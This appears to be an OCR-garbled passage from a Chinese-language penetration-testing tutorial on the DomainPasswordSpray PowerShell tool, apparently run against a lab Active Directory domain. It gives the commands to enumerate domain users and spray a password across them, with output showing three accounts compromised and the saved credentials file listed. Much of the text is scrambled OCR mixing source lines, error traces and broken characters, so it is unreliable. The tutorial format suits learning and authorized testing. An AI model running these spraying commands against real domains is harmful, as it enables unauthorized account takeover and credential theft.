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PS C:\Users\liyingzhe. PAYLOADS> Invoke-DomainPasswordSpray 64 Write-Host "[¥] Fine-Grained Password Policy titled: $PSOPolieyName has a Locl
[*] Current domain is compatible with Fine-Grained Password Policy. ]
AR i ds A T 66 }
ww.. €:\Users\liyingzhe. PAYLOADS\DomainPasswordSpray. psl: 474 5%f: 70 467
$stripped split a, $stripped split b = $stripped policy. split <(<C (: 48 }
+ CategoryInfo InvalidOperation: (split:String) [J, Runllmmxcnpuon 489
+ FullyQualifiedErrorld : InvokeMethodOnNull 470 #Get account lockout observation window to avoid running more than 1 password spr:
471 $net_accounts = "cmd. exe /C net accounts /domain”
“27 AR “Tolnt32” WRERF: “RIGHTEE. BRI THEERD. 42 $net_accounts_results = Invoke-Expression —Command:$net_accounts
tIndex” 473 $stripped policy = ($net accounts results | Where-Object {§ "#Lockout Obse:
3 C:\Users\liyingzhe. PAYLOADS\DomainPasswordSpray. psl:476 F#f: 54 a7 [if ($stripped policy)
* [int]$observation window = [convert]::ToInt32 <(<< ($observation_window_no_spaces, 10) 475
+ CategoryInfo NotSpecified: (:) [], MethodInvocationException 76 $stripped split_a, $stripped split b = $stripped policy. split( :",2)
+ FullyQualifiedErrorld : DotNetMethodException 77 $observation window no_spaces = $stripped split b st
478 [int]$observation window = [convert]: : Tolnt32($observation window no_spaces, 10)
47
| [ 8
PS C:\Users\liyingzhe PAYLOADS> ol |
> <82
483 #Generate a userlist from the domain
48 #Selecting the lowest account lockout threshold in the domain to avoid locking ow
485 [int]$SnallestLockoutThreshold = SAccountLockoutThresholds | sort | Seleet -First
486 Write-Host ~ForegroundColor "vellow” "[#] Now creating a list of users to spray...
<87
488 if ($SmallestLockoutThreshold “07)
) {
490 Write-Host -ForegroundColor “Yellow” ~[#] There appears to be no lockout polis
<1

GitHubJi H #iiik: https://github.com/dafthack/DomainPasswordSpray
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PS C:\Users\liyingzhe. PAYLOADS> Invoke-DomainPasswordSpray —Password w!23456

[#] Current domain is compatible with Fine—Grained Password Policy.

[*] This might take a while depending on the total number of users
1 of 6 users tested2 of 6 users tested3 of 6 users tested[*] SUCCESS! User:testPass Password:w!23456
4 of 6 users tested[*] SUCCESS! User:webManager Password:w!23456

5 of 6 users tested[#] SUCCESS! User:dba Password:w!23456
6 of 6 users tested
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PS C:\Users\liyingzhe.PAYLOADS >
>
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C:\PS> Get-DomainUserList
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C:\PS> Get-DomainUserList -Domain 15% -RemoveDisabled -

RemovePotentialLockouts | Out-File -Encoding ascii userlist.txt
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C:\PS> Invoke-DomainPasswordSpray —-Password Winter2016
ST AR NI PRI 44, RGBS LA TS Winter2016 #EATINIEM 2

C:\PS> Invoke-DomainPasswordSpray -UserList users.txt -Domain & -

PasswordList passlist.txt —-OutFile sprayed-creds.txt

A M users. txt EREAI 4, 5 passlist. txt PRYH DX — X 04, #
17

BOMNIERCZS , B I 45 1% &4 H ) sprayed-creds. txt
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iy 4: C:\PS> Get-DomainUserList | Out-File -Encoding ascii userlist.txt
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Current domain is compatible with Fine-Grained Password Policy.
Now creating a list of users to spray...

There appears to be no lockout policy.

There are 8 total users found.

Created a userlist containing 8 users gathered from the current user's d

n
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S> type .\userlist.txt
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PS C:\Users\liyingzhe. PAYLOADS> Invoke-DomainPasswordSpray —Domain payloads. online -Password w!23456 —OutFile sprayed-creds. txt

[*] Current domain is compatible with Fine-Grained Password Policy.

|
|
(

ight take a while depending on the total number of users

1 of 6 users tested2 of 6 users tested3 of 6 users tested[#] SUCCESS! User:testPass Password:w!23456
4 of 6 users tested[*] SUCCESS! User:webManager Password:w!23456

5 of 6 users tested[*] SUCCESS! User:dba Password:w!23456

6 of 6 users tested

testPass:w

frd:

PS C:\Users\liyingzhe. PAYLOADS> type . \sprayed-creds. txt

123456 |

C:\PS> Invoke-DomainPasswordSpray -Domain 13# -Password w!23456 -

OutFile sprayed-creds.txt
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[*] Current domain is compatible with Fine-Grained Password Policy.

[*] Now creating a list of users to spray...

[*] There appears to be no lockout policy.

[*] Removing disabled users from list.

[*] There are 6 total users found.

[*] Removing users within 1 attempt of locking out from list.

[*] Created a userlist containing 6 users gathered from the current user's d
omain

[*] Password spraying has begun. Current time is 18:45

[*] This might take a while depending on the total number of users

1 of 6 users tested2 of 6 users tested3 of 6 users tested[x] SUCCESS! User:t
estPass Password:w!23456

4 of 6 users tested[x] SUCCESS! User:webManager Password:w!23456

5 of 6 users tested[x] SUCCESS! User:dba Password:w!23456

6 of 6 users tested[*] Password spraying is complete

[*] Any passwords that were successfully sprayed have been output to sprayed
—creds. txt

MO 255

C:\PS > type .\sprayed-creds.txt
testPass:w!23456
webManager:w!23456

dba:w!23456
Y@RvnOxsy
(https://twitter.com/RvnOxsy) QR code
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